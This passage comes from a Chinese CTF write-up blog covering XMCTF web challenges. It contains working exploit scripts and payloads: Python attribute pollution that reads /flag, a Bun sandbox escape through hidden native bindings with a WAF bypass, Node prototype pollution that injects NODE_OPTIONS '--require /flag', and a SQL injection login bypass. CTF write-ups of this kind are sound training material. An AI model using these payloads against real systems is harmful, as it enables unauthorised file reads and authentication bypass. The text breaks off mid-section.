src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3282\"  sizes=\"auto, (max-width: 949px) 100vw, 949px\" \/><\/div><\/figure>\n\n\n\n<p>python \u539f\u578b\u94fe\u6c61\u67d3 \/ \u5c5e\u6027\u8986\u76d6\u6f0f\u6d1e<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u5728 merge \u51fd\u6570\u3002\u5b83\u9012\u5f52\u904d\u5386\u4f20\u5165\u7684 JSON \u6570\u636e\uff08src\uff09\uff0c\u5e76\u5229\u7528 hasattr\u3001getattr \u548c setattr \u53bb\u4fee\u6539\u76ee\u6807\u5bf9\u8c61\uff08dst\uff09\u7684\u5c5e\u6027\u3002\n\u670d\u52a1\u7aef\u521d\u59cb\u5316\u4e86 instance = Polaris()\uff0c\u6b64\u65f6\u5185\u90e8\u53d8\u91cf instance.config.filename \u7684\u9ed8\u8ba4\u503c\u662f \"app.py\"\u3002\n\u6839\u8def\u7531 \/ \u63a5\u6536 POST \u8bf7\u6c42\u7684\u6570\u636e\uff0c\u76f4\u63a5\u53cd\u5e8f\u5217\u5316\u4e3a JSON \u5e76\u4f20\u7ed9 merge \u51fd\u6570\u3002\n\n\u7531\u4e8e\u6ca1\u6709\u4efb\u4f55\u9ed1\u767d\u540d\u5355\u8fc7\u6ee4\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u6784\u9020\u7279\u5b9a\u7684 JSON \u952e\u503c\u5bf9\uff0c\u6cbf\u7740 instance -&gt; config -&gt; filename \u7684\u5bf9\u8c61\u5c42\u7ea7\uff0c\u5229\u7528\u5e95\u5c42\u7684 setattr \u5c06 filename \u7684\u503c\u6076\u610f\u8986\u76d6\u4e3a \/flag\u3002\n\u8986\u76d6\u5b8c\u6210\u540e\uff0c\u8c03\u7528 \/read \u8def\u7531\uff0c\u670d\u52a1\u7aef\u4f1a\u6267\u884c open(instance.config.filename).read()\uff0c\u4ece\u800c\u5c06\u7cfb\u7edf\u7684 flag \u6587\u4ef6\u8bfb\u53d6\u5e76\u56de\u663e\u3002<\/code><\/pre>\n\n\n\n<p>Payload\u6784\u5efa<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\"config\": {\"filename\": \"\/flag\"}}<\/code><\/pre>\n\n\n\n<p>merge\u6c61\u67d3\u4e86\u53d8\u91cf\uff0c\u8bbf\u95ee\/read\u5c31\u884c<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-272-1024x679.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"679\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-272-1024x679.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3283\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\n\nBASE_URL = \"http:\/\/5000-0a56acfe-2918-460c-83cc-77341bb300e0.challenge.ctfplus.cn\"\n\ndef exploit():\n    payload = {\n        \"config\": {\n            \"filename\": \"\/flag\"\n        }\n    }\n\n    requests.post(f\"{BASE_URL}\/\", json=payload)\n    res = requests.get(f\"{BASE_URL}\/read\")\n\n    print(res.text)\n\nif __name__ == \"__main__\":\n    exploit()<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>XMCTF{825e3f00-3fa6-4e1f-9871-33017e3abd4f)<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Not a Node<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-273.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"845\" height=\"434\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-273.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3284\"  sizes=\"auto, (max-width: 845px) 100vw, 845px\" \/><\/div><\/figure>\n\n\n\n<p>\u9898\u76ee\u662f\u7ed5\u8fc7\u57fa\u4e8e Bun (JSC) \u7684\u9650\u5236\u6c99\u7bb1\u3002\u5c4f\u853d\u4e86\u539f\u751f Node \u6a21\u5757\uff0c\u8bbe\u7f6e\u4e86\u4e0d\u53ef\u679a\u4e3e\u5c5e\u6027\uff0c\u5e76\u6709\u4e00\u5c42\u9759\u6001 WAF<\/p>\n\n\n\n<p>\u6839\u636e\u6587\u6863\u63d0\u793a __runtime \u6302\u8f7d\u4e86\u5185\u90e8\u7ed1\u5b9a\uff0c\u4e14\u5c5e\u6027\u4e0d\u53ef\u679a\u4e3e\u3002\u901a\u8fc7 <code>Object.getOwnPropertyNames<\/code> \u628a\u4e1c\u897f\u6252\u51fa\u6765\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>export default {\n    async fetch(request) {\n        let props = Object.getOwnPropertyNames(__runtime);\n        return new Response(JSON.stringify({props}));\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-274-1024x419.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"419\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-274-1024x419.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3285\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u5b58\u5728 _internal\u548c _secrets \u7b49\u9690\u85cf\u5c5e\u6027\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u7ee7\u7eed\u5411\u4e0b\u5c42\u6316\u6398 _internal\u3002\u7531\u4e8e\u5e95\u5c42\u5bf9\u8c61\u5305\u542b BigInt \u7c7b\u578b\uff0c\u76f4\u63a5 JSON.stringify \u4f1a\u62a5 500 \u9519\u8bef\uff0c\u9700\u8981\u52a0\u4e2a replacer\u3002\n\u540c\u65f6\u5229\u7528\u4e2d\u62ec\u53f7\u8bed\u6cd5\u7ed5\u8fc7 WAF \u5bf9 . \u5c5e\u6027\u8bbf\u95ee\u7684\u6f5c\u5728\u8fc7\u6ee4\uff1a\n\n\u5411\u4e0b\u6316 _internal\u3002\u9898\u76ee\u63d0\u793a\u5e73\u53f0\u4f9d\u8d56\u989d\u5916\u7684 internal bindings\u3002\u540c\u6837\uff0c\u4e3a\u4e86\u9632\u6b62\u56de\u663e {}\uff0c\u5fc5\u987b\u7ee7\u7eed\u7528 getOwnPropertyNames \u83b7\u53d6\u952e\u540d\u3002\n\nexport default {\n    async fetch(request) {\n        let s = __runtime&#91;'_internal']&#91;'lib']&#91;'symbols'];\n        let keys = Object.getOwnPropertyNames(s);\n        return new Response(JSON.stringify(keys));\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-275-1024x452.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"452\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-275-1024x452.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3286\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u7b80\u5355 Hex \u89e3\u7801\u53d1\u73b0\uff1a72 65 61 64 = read\uff0c6c 69 73 74 = list\u3002\u8fd9\u5c31\u662f\u5e95\u5c42\u7684\u539f\u751f C++ \u7ed1\u5b9a\u63a5\u53e3\u3002\n\nWAF \u7ed5\u8fc7\u4e0e\u8bfb\u53d6\n\u5c1d\u8bd5\u8c03\u7528 _0x72656164 (read) \u8bfb \/flag\u3002\u8fd9\u91cc\u9047\u5230\u51e0\u4e2a\u5751\uff1a\n \u4ee3\u7801\u91cc\u4e0d\u80fd\u51fa\u73b0 readFile \u8fd9\u79cd\u540d\u5b57\uff0c\u4e5f\u4e0d\u80fd\u76f4\u63a5\u51fa\u73b0 \"\/flag\" \u5b57\u7b26\u4e32\uff0c\u5426\u5219\u62a5 Security Policy Violation\u3002\n C++ \u539f\u751f\u63a5\u53e3\u5904\u7406 JS \u5b57\u7b26\u4e32\u76f4\u63a5\u4f20\u5165\u53ef\u80fd\u62a5\u9519\u3002\n\n \u7ed5\u8fc7\n1. \u53d8\u91cf\u540d\u6df7\u6dc6\u4e3a\u5355\u5b57\u6bcd f\u3002\n2. \u8def\u5f84\u8f6c\u4e3a Uint8Array ASCII \u6570\u7ec4\u4f20\u5165\uff0c\/flag \u7684 ASCII \u7801\u4e3a &#91;47, 102, 108, 97, 103]\uff0c\u7ed5\u8fc7\u5b57\u7b26\u4e32 WAF\uff0c\u4e14\u7b26\u5408\u5e95\u5c42\u5185\u5b58\u63a5\u53e3\u89c4\u8303\u3002\n\nexport default {\n    async fetch(request) {\n        let out = {};\n        try {\n            let s = __runtime&#91;'_internal']&#91;'lib']&#91;'symbols'];\n            let f = s&#91;'_0x72656164']; \n            let arr = new Uint8Array(&#91;47, 102, 108, 97, 103]); \n            out.flag = f(arr); \n        } catch(e) {\n            out.err = e.toString();\n        }\n\n        let safeOut = JSON.stringify(out, (k, v) =&gt; typeof v === 'bigint' ? v.toString() + 'n' : v, 2);\n        return new Response(safeOut, { headers: { \"Content-Type\": \"application\/json\" } });\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-276-1024x493.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"493\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-276-1024x493.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3287\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>XMCTF{eb49f594-d766-4fac-8a35-623e47ff361d}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">ezpollute<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-277.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"929\" height=\"585\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-277.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3288\"  sizes=\"auto, (max-width: 929px) 100vw, 929px\" \/><\/div><\/figure>\n\n\n\n<p>\u6709\u6e90\u7801 \u5206\u6790app.js<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-278.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"950\" height=\"764\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-278.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3289\"  sizes=\"auto, (max-width: 950px) 100vw, 950px\" \/><\/div><\/figure>\n\n\n\n<p>\u539f\u578b\u94fe\u6c61\u67d3 <code>merge<\/code> \u51fd\u6570\u5408\u5e76\u903b\u8f91\uff0c\u4f46\u4ec5\u8fc7\u6ee4\u4e86 <code>__proto__<\/code> \u952e\u540d\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>if (key === '__proto__') { ... res.send('get out!'); return; }<\/code><\/pre>\n\n\n\n<p>\u672a\u8fc7\u6ee4 <code>constructor<\/code> \u548c <code>prototype<\/code>\uff0c\u4f46\u662f\u53ef\u4ee5\u901a\u8fc7 <code>{\"constructor\": {\"prototype\": {\"key\": \"value\"}}}<\/code> \u6c61\u67d3\u5168\u5c40 Object\u3002<\/p>\n\n\n\n<p>\u9ed1\u540d\u5355\u5206\u6790<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/api\/config \u8def\u7531\u5bf9 POST \u6570\u636e\u8fdb\u884c\u4e86\u9ed1\u540d\u5355\u68c0\u67e5\uff0c\u5c01\u6b7b\u4e86 shell\u3001env\u3001argv0 \u7b49\u5e38\u89c4\u7528\u6765\u63a7\u5236 spawn \u5b50\u8fdb\u7a0b\u7684\u53c2\u6570\u3002\n\u4f46\u5728 \/api\/status \u8def\u7531\u4e2d\uff0c\u7a0b\u5e8f\u904d\u5386\u4e86 process.env \u6784\u9020 customEnv \u4f20\u7ed9\u5b50\u8fdb\u7a0b\uff0c\u5e76\u4e14\u5355\u72ec\u5bf9 NODE_OPTIONS \u505a\u4e86\u6b63\u5219\u6821\u9a8c\uff1a<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-279.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"949\" height=\"764\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-279.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3290\"  sizes=\"auto, (max-width: 949px) 100vw, 949px\" \/><\/div><\/figure>\n\n\n\n<p>\u7531\u4e8e\u6ca1\u6709\u8fc7\u6ee4 <code>constructor<\/code>\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u539f\u578b\u94fe\u6c61\u67d3\u5c06\u6076\u610f\u7684 <code>NODE_OPTIONS<\/code> \u6ce8\u5165\u5230 <code>process.env<\/code> \u904d\u5386\u7684\u4e0a\u4e0b\u6587\u4e2d\u3002<\/p>\n\n\n\n<p>\u6b63\u5219\u7ed5\u8fc7\u4e0e\u62a5\u9519\u5e26\u51fa<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u6b63\u5219\u662f\u4e3a\u4e86\u9632\u6b62\u6267\u884c --require \/flag\u3002\u7ed5\u8fc7\u601d\u8def\u5982\u4e0b\uff1a\n\n\u7ed5\u8fc7\u6b63\u5219\uff1a\u6b63\u5219\u5339\u914d\u7684\u662f\u884c\u9996 ^ \u6216\u7a7a\u767d\u7b26 s \u540e\u63a5 --require\u3002\u4f20\u5165 \"\"--require\" \/flag\"\uff0c\u5b57\u7b26\u4e32\u4ee5\u53cc\u5f15\u53f7\u5f00\u5934\uff0c\u5b8c\u7f8e\u907f\u5f00 ^ \u548c s\u3002\nNode \u673a\u5236\uff1aNode.js \u5e95\u5c42\u89e3\u6790 NODE_OPTIONS \u65f6\u652f\u6301\u5f15\u53f7\u5305\u88f9\uff0c\u5e76\u5728\u6267\u884c\u65f6\u4f1a\u81ea\u52a8\u5265\u79bb\u5916\u5c42\u53cc\u5f15\u53f7\uff0c\u6700\u7ec8\u4f9d\u7136\u4ee5 --require \/flag \u8fd0\u884c\u3002\n\u4fe1\u606f\u6cc4\u9732\uff1a\/flag \u5185\u5bb9\u4e0d\u662f\u5408\u6cd5\u7684 JS \u4ee3\u7801\uff0crequire \u52a0\u8f7d\u65f6\u4f1a\u62a5 SyntaxError \u5e76\u5c06\u51fa\u9519\u884c\uff08flag\u6587\u672c\uff09\u6253\u5370\u5230 stderr\u3002\/api\/status \u521a\u597d\u6536\u96c6\u4e86 stderr \u5e76\u8fd4\u56de\u7ed9\u524d\u7aef\u3002<\/code><\/pre>\n\n\n\n<p>Payload<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n    \"constructor\": {\n        \"prototype\": {\n            \"NODE_OPTIONS\": \"\"--require\" \/flag\"\n        }\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-280-1024x509.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"509\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-280-1024x509.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3291\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>XMCTF{26af149c-ab49-4cb7-9d47-6a5c5c466b6d}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Broken Trust<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-281.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"960\" height=\"529\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-281.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3292\"  sizes=\"auto, (max-width: 960px) 100vw, 960px\" \/><\/div><\/figure>\n\n\n\n<p>\u8003\u70b9\uff1a\u5f31\u7c7b\u578b\/\u6ce8\u5165 + \u76ee\u5f55\u7a7f\u8d8a\u8fc7\u6ee4\u7ed5\u8fc7<\/p>\n\n\n\n<p>\u9875\u9762\u53ef\u4ee5\u767b\u5f55\u8fdb\u5165 uid\u662fMD5<\/p>\n\n\n\n<p>\u767b\u5f55 \u8fdb\u5165\u540e\u9762 \u67e5\u770b\u9875\u9762\u6e90\u7801<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-282-1024x480.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"480\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-282-1024x480.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3293\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u53d1\u73b0 SQLi \/ \u903b\u8f91\u7ed5\u8fc7\u83b7\u53d6\u7ba1\u7406\u5458 UID\n\u524d\u7aef\u6e90\u7801\u4e2d\u63d0\u793a\u4e86 uid \u5b57\u6bb5\u3002\u5bf9 \/api\/profile \u63a5\u53e3\u6d4b\u8bd5\u65f6\uff0c\u53d1\u73b0\u540e\u7aef\u5b58\u5728 SQL \u6ce8\u5165\u6216\u4e07\u80fd\u5bc6\u7801\u903b\u8f91\u7f3a\u9677\u3002<\/code><\/pre>\n\n\n\n<p>payload<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\"uid\": \"admin' or '1'='1\"}<\/code><\/pre>\n\n\n\n<p>\u6293\u5305\u4fee\u6539<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-283-1024x571.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"571\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-283-1024x571.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3294\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u53d1\u73b0\u7ba1\u7406\u5458\u7684UID<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>adc9fd026eec4bf18c90ba07c6eea883<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u767b\u5f55<\/p>\n\n\n\n<p>\u767b\u5f55\u7ba1\u7406\u5458<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-284-1024x563.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"563\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-284-1024x563.png\" 